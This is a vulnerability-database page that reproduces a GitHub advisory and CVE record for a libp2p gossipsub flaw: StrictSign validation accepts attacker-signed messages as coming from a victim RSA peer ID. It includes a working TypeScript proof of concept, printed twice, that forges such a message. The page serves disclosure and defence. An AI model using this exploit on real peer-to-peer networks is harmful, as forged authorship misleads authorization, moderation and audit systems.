Vulnerability-Lookup

GHSA-C3GV-825Q-FVMP

Vulnerability from github – Published: 2026-09-17 17:29 – Updated: 2026-09-17 17:29

Summary

libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID

Details

Summary

@libp2p/gossipsub StrictSign validation does not bind a supplied message public key to the claimed from peer ID when from is an RSA-style peer ID that does not inline its public key. An attacker can set from to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in msg.key, and have the message accepted as a valid signed message from the victim.

Details

The vulnerable code is in packages/gossipsub/src/utils/buildRawMessage.ts inside validateToRawMessage.

When msg.key is present:

publicKey = publicKeyFromProtobuf(msg.key)
if (fromPeerId.publicKey !== undefined && !publicKey.equals(fromPeerId.publicKey)) {
  return { valid: false, error: ValidateError.InvalidPeerId }
}

For RSA peer IDs parsed from the wire from multihash, fromPeerId.publicKey is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-from comparison is skipped. The code then verifies the signature with the attacker-supplied msg.key and returns a signed message whose from is the victim RSA peer ID.

The missing invariant is:

peerIdFromPublicKey(publicKey).equals(fromPeerId)

This check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.

StrictSign is the default gossipsub signature policy in packages/gossipsub/src/gossipsub.ts:

this.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign

Version tracing:

git blame points the vulnerable validateToRawMessage block to 9a9b11fd44 (fix!: remove pubsub (#3291)), which introduced packages/gossipsub/src/utils/buildRawMessage.ts.
That commit's packages/gossipsub/package.json still reports 14.1.1, but the first gossipsub-v* release tag in this checkout that contains the vulnerable block is gossipsub-v15.0.0.

PoC

// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys'
import { StrictSign } from '@libp2p/gossipsub'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { concat as uint8ArrayConcat } from 'uint8arrays/concat'
import { fromString as uint8ArrayFromString } from 'uint8arrays/from-string'
import { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js'
import { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js'

const label = 'gossipsub StrictSign RSA author spoof'

function seqno (n: bigint): Uint8Array {
  const out = new Uint8Array(8)
  new DataView(out.buffer).setBigUint64(0, n, false)
  return out
}

async function main (): Promise<void> {
  const attackerKey = await generateKeyPair('Ed25519')
  const victimRsaKey = await generateKeyPair('RSA', 512)
  const victim = peerIdFromPrivateKey(victimRsaKey)

  const msg: RPC.Message = {
    from: victim.toMultihash().bytes,
    data: uint8ArrayFromString('forged as victim RSA peer'),
    seqno: seqno(1n),
    topic: 'poc-topic',
    signature: undefined,
    key: undefined
  }

  // Sign the protobuf message that claims victim in `from`, using attacker's key.
  const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])
  msg.signature = await attackerKey.sign(bytes)
  msg.key = publicKeyToProtobuf(attackerKey.publicKey)

  const result = await validateToRawMessage(StrictSign, msg)

  if (!result.valid) {
    throw new Error(`expected forged message to validate, got ${result.error}`)
  }

  assert.equal(result.message.type, 'signed')
  assert.equal(result.message.from.equals(victim), true)
  assert.equal(result.message.key.equals(attackerKey.publicKey), true)

  console.log(`${label} reproduced`)
  console.log(`claimed victim RSA author: ${victim}`)
  console.log('signature verified with attacker-supplied key')
}

main().catch(err => {
  console.error(err)
  process.exitCode = 1
})

Expected output:

gossipsub StrictSign RSA author spoof reproduced
claimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f
signature verified with attacker-supplied key

Impact

Attackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default StrictSign policy. Applications that trust message.from in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.

The forged message can also be considered valid by gossipsub's validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@libp2p/gossipsub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0.0"
            },
            {
              "fixed": "16.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86038"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T17:29:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`@libp2p/gossipsub` `StrictSign` validation does not bind a supplied message public key to the claimed `from` peer ID when `from` is an RSA-style peer ID that does not inline its public key. An attacker can set `from` to a victim RSA peer ID, sign the message with the attacker\u0027s own private key, include the attacker\u0027s public key in `msg.key`, and have the message accepted as a valid signed message from the victim.\n\n### Details\nThe vulnerable code is in `packages/gossipsub/src/utils/buildRawMessage.ts` inside `validateToRawMessage`.\n\nWhen `msg.key` is present:\n\n```ts\npublicKey = publicKeyFromProtobuf(msg.key)\nif (fromPeerId.publicKey !== undefined \u0026\u0026 !publicKey.equals(fromPeerId.publicKey)) {\n  return { valid: false, error: ValidateError.InvalidPeerId }\n}\n```\n\nFor RSA peer IDs parsed from the wire `from` multihash, `fromPeerId.publicKey` is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-`from` comparison is skipped. The code then verifies the signature with the attacker-supplied `msg.key` and returns a signed message whose `from` is the victim RSA peer ID.\n\nThe missing invariant is:\n\n```ts\npeerIdFromPublicKey(publicKey).equals(fromPeerId)\n```\n\nThis check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.\n\n`StrictSign` is the default gossipsub signature policy in `packages/gossipsub/src/gossipsub.ts`:\n\n```ts\nthis.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign\n```\n\nVersion tracing:\n\n- `git blame` points the vulnerable `validateToRawMessage` block to `9a9b11fd44` (`fix!: remove pubsub (#3291)`), which introduced `packages/gossipsub/src/utils/buildRawMessage.ts`.\n- That commit\u0027s `packages/gossipsub/package.json` still reports `14.1.1`, but the first `gossipsub-v*` release tag in this checkout that contains the vulnerable block is `gossipsub-v15.0.0`.\n\n\n### PoC\n\n```ts\n// TypeScript ESM PoC.\nimport { strict as assert } from \u0027node:assert\u0027\nimport { generateKeyPair, publicKeyToProtobuf } from \u0027@libp2p/crypto/keys\u0027\nimport { StrictSign } from \u0027@libp2p/gossipsub\u0027\nimport { peerIdFromPrivateKey } from \u0027@libp2p/peer-id\u0027\nimport { concat as uint8ArrayConcat } from \u0027uint8arrays/concat\u0027\nimport { fromString as uint8ArrayFromString } from \u0027uint8arrays/from-string\u0027\nimport { RPC } from \u0027../../packages/gossipsub/dist/src/message/rpc.js\u0027\nimport { SignPrefix, validateToRawMessage } from \u0027../../packages/gossipsub/dist/src/utils/buildRawMessage.js\u0027\n\nconst label = \u0027gossipsub StrictSign RSA author spoof\u0027\n\nfunction seqno (n: bigint): Uint8Array {\n  const out = new Uint8Array(8)\n  new DataView(out.buffer).setBigUint64(0, n, false)\n  return out\n}\n\nasync function main (): Promise\u003cvoid\u003e {\n  const attackerKey = await generateKeyPair(\u0027Ed25519\u0027)\n  const victimRsaKey = await generateKeyPair(\u0027RSA\u0027, 512)\n  const victim = peerIdFromPrivateKey(victimRsaKey)\n\n  const msg: RPC.Message = {\n    from: victim.toMultihash().bytes,\n    data: uint8ArrayFromString(\u0027forged as victim RSA peer\u0027),\n    seqno: seqno(1n),\n    topic: \u0027poc-topic\u0027,\n    signature: undefined,\n    key: undefined\n  }\n\n  // Sign the protobuf message that claims victim in `from`, using attacker\u0027s key.\n  const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])\n  msg.signature = await attackerKey.sign(bytes)\n  msg.key = publicKeyToProtobuf(attackerKey.publicKey)\n\n  const result = await validateToRawMessage(StrictSign, msg)\n\n  if (!result.valid) {\n    throw new Error(`expected forged message to validate, got ${result.error}`)\n  }\n\n  assert.equal(result.message.type, \u0027signed\u0027)\n  assert.equal(result.message.from.equals(victim), true)\n  assert.equal(result.message.key.equals(attackerKey.publicKey), true)\n\n  console.log(`${label} reproduced`)\n  console.log(`claimed victim RSA author: ${victim}`)\n  console.log(\u0027signature verified with attacker-supplied key\u0027)\n}\n\nmain().catch(err =\u003e {\n  console.error(err)\n  process.exitCode = 1\n})\n```\nExpected output:\n\n```text\ngossipsub StrictSign RSA author spoof reproduced\nclaimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f\nsignature verified with attacker-supplied key\n```\n\n### Impact\nAttackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default `StrictSign` policy. Applications that trust `message.from` in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.\n\nThe forged message can also be considered valid by gossipsub\u0027s validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.",
  "id": "GHSA-c3gv-825q-fvmp",
  "modified": "2026-09-17T17:29:31Z",
  "published": "2026-09-17T17:29:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-c3gv-825q-fvmp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/pull/3569"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/commit/cec2b1f349d130065e561349a0336a239528267f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/libp2p/js-libp2p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID"
}

CVE-2026-86038 (GCVE-0-2026-86038)

Vulnerability from cvelistv5 – Published: 2026-09-17 15:16 – Updated: 2026-09-17 17:24

Title

libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID

Summary

libp2p is a JavaScript implementation of the libp2p networking stack. From 15.0.0 until 16.0.5, @libp2p/gossipsub uses the default StrictSign policy in packages/gossipsub/src/utils/buildRawMessage.ts, where validateToRawMessage verifies a signature with attacker-controlled msg.key but skips binding that key to msg.from when the claimed author is an RSA peer ID that does not inline a public key. An unauthenticated attacker can place a victim RSA peer ID in msg.from, sign the message with the attacker's private key, and supply the attacker's public key in msg.key, causing the message to be accepted and propagated as authored by the victim. Applications that trust message.from for validators, authorization, accounting, moderation, reputation, or audit logging can process attacker-controlled data under false origin attribution. The issue is fixed in version 16.0.5.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-17 17:24 UTC

CWE

CWE-345 - Insufficient Verification of Data Authenticity
CWE-347 - Improper Verification of Cryptographic Signature

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/libp2p/js-libp2p/security/advi…	x_refsource_CONFIRM
https://github.com/libp2p/js-libp2p/pull/3569	x_refsource_MISC
https://github.com/libp2p/js-libp2p/commit/cec2b1…	x_refsource_MISC
https://github.com/libp2p/js-libp2p/releases/tag/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
libp2p	js-libp2p	Affected: >= 15.0.0, < 16.0.5

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-86038",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-17T17:24:10.344562Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-17T17:24:35.905Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-c3gv-825q-fvmp"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "js-libp2p",
          "vendor": "libp2p",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 15.0.0, \u003c 16.0.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "libp2p is a JavaScript implementation of the libp2p networking stack. From 15.0.0 until 16.0.5, @libp2p/gossipsub uses the default StrictSign policy in packages/gossipsub/src/utils/buildRawMessage.ts, where validateToRawMessage verifies a signature with attacker-controlled msg.key but skips binding that key to msg.from when the claimed author is an RSA peer ID that does not inline a public key. An unauthenticated attacker can place a victim RSA peer ID in msg.from, sign the message with the attacker\u0027s private key, and supply the attacker\u0027s public key in msg.key, causing the message to be accepted and propagated as authored by the victim. Applications that trust message.from for validators, authorization, accounting, moderation, reputation, or audit logging can process attacker-controlled data under false origin attribution. The issue is fixed in version 16.0.5."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-345",
              "description": "CWE-345: Insufficient Verification of Data Authenticity",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-347",
              "description": "CWE-347: Improper Verification of Cryptographic Signature",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-17T15:16:57.882Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-c3gv-825q-fvmp",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-c3gv-825q-fvmp"
        },
        {
          "name": "https://github.com/libp2p/js-libp2p/pull/3569",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/libp2p/js-libp2p/pull/3569"
        },
        {
          "name": "https://github.com/libp2p/js-libp2p/commit/cec2b1f349d130065e561349a0336a239528267f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/libp2p/js-libp2p/commit/cec2b1f349d130065e561349a0336a239528267f"
        },
        {
          "name": "https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.5"
        }
      ],
      "source": {
        "advisory": "GHSA-c3gv-825q-fvmp",
        "discovery": "UNKNOWN"
      },
      "title": "libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-86038",
    "datePublished": "2026-09-17T15:16:57.882Z",
    "dateReserved": "2026-09-04T19:29:21.057Z",
    "dateUpdated": "2026-09-17T17:24:35.905Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-C3GV-825Q-FVMP

Summary

Details

PoC

Impact

CVE-2026-86038 (GCVE-0-2026-86038)

Tags

Sightings

Nomenclature

Related by attack behaviour